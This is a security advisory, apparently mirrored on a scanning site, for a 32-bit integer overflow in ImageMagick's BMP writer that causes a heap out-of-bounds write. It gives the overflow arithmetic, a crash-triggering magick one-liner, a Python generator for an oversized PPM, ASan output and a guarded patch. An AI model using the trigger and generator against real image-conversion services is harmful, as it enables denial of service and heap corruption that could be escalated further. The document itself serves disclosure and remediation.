| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| Magick.NET-Q16-AnyCPU | < 14.8.1 | 14.8.1 |
| Magick.NET-Q16-HDRI-AnyCPU | < 14.8.1 | 14.8.1 |
| Magick.NET-Q16-HDRI-x86 | < 14.8.1 | 14.8.1 |
| Magick.NET-Q16-x86 | < 14.8.1 | 14.8.1 |
| Magick.NET-Q8-AnyCPU | < 14.8.1 | 14.8.1 |
| Magick.NET-Q8-x86 | < 14.8.1 | 14.8.1 |
| imagemagick | ≥ 7.0.0-0, < 7.1.2-2< 6.9.13-28 | 7.1.2-26.9.13-28 |
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.
Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers.
32-bit: Vulnerable (reproduced with ASan).
64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c).
Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7
Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712
Architecture: 32-bit i686 (sizeof(size_t) == 4) with ASan/UBSan.
Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
*q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes
}
pixel_info = AcquireVirtualMemory(image->rows,
MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíThe writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.
size_t)Stride formula for 24-bpp:
bytes_per_line = 4 * ((width * 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
Stage-1 multiply+add in (width * 24 + 31)
Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969
→ at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytes_per_line.
Stage-2 final ×4 after the division
Let q = (width * 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF.
Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.
Chosen width: W = 178,957,200 (just over Stage-1 bound)
Stage-1: 24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535
Divide by 32: 5535 / 32 = 172
Multiply by 4: bytes_per_line = 172 * 4 = **688** bytes ← tiny stride
Per-row data (24-bpp): row_bytes = 3*W = **536,871,600** bytes
Allocation used: MagickMax(688, W+256) = **178,957,456** bytes
Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
AcquireVirtualMemory MagickCore/memory.c:747
WriteBMPImage coders/bmp.c:2092
Binary: ELF 32-bit i386, Q8, non-HDRI
Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).
Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
Test Environment:
docker run -it --rm --platform linux/386 debian:11 bash
Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3
Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f...
Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
./configure \
--host=i686-pc-linux-gnu \
--build=x86_64-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)"
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
One-liner trigger (no input file):
W=178957200
./utilities/magick \
-limit width 200000000 -limit height 200000000 \
-limit memory 268435456 -limit map 0 -limit disk 200000000000 \
-limit thread 1 \
-size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255
# W > 178,956,969
with open("huge.ppm", "wb") as f:
f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
chunk = (b"\x41\x42\x43") * (1024*1024)
remaining = 3 * W
while remaining:
n = min(remaining, len(chunk))
f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical
If strictly CLI/manual conversion: UI:R → 8.8 High
“MagickMax makes allocation large.” The row base advances by overflowed bytes_per_line, causing row overlap and eventual region exit regardless of total allocation size.
“We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
“Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct.
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
32-bit overflow repros (with ASan):
rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors.
rows=2, same bound → no row overlap; clean error.
64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows * bytes_per_line.
Packed bpp (1/4/8): Validate row_bytes = (width*bpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)
Reporter: Lumina Mescuwa
Tested on: i686 Linux container (details in Repro)
Timeline: August 19th, 2025
bmp.cWhere this hooks in (current code):
Stride is computed here: bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);
Header uses bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);
Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));
24-bpp row loop writes pixels then zero-pads up to bytes_per_line (so the per-row slot size matters): for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;
I recommend this in place of the existing bytes_per_line assignment and the subsequent bmp_info.image_size / allocation block. Keep your macros and local variables as-is.
/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */
/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
(size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytes_per_line = 4 * _tmp; /* same formula as before, now checked */
/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
/* packed: ceil(width*bpp/8) */
if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
/* 16/24/32 bpp: (bpp/8) * width */
size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
row_bytes = bpp_bytes * (size_t)image->columns;
}
/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);
/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);
/* --- PATCH END --- */
It replaces the unguarded stride line you currently have, without changing the algorithm (still 4*((W*bpp+31)/32)).
It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication.
It guards allocation where you presently allocate rows × MagickMax(bytes_per_line, columns+256).
The invariant row_bytes ≤ bytes_per_line ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytes_per_line) can never exceed the per-row slot the code relies on.
Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected.
Header consistency: biSizeImage = rows * bytes_per_line remains true by construction, but now cannot overflow a 32-bit DIB field.
Defensive alignment: If you prefer, you can compute bytes_per_line as ((row_bytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with safe_mul_size / safe_add_size utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
(24W + 31) mod 2^32 = 5535
bytes_per_line = 4 * (5535/32) = 688
row_bytes (24-bpp) = 536,871,600
Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.
=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
#0 0xed2788 in WriteBMPImage coders/bmp.c:2309
#1 0x13da32c in WriteImage MagickCore/constitute.c:1342
#2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
#0 0x408e30ab in __interceptor_posix_memalign
#1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
#2 0xecd597 in WriteBMPImage coders/bmp.c:2092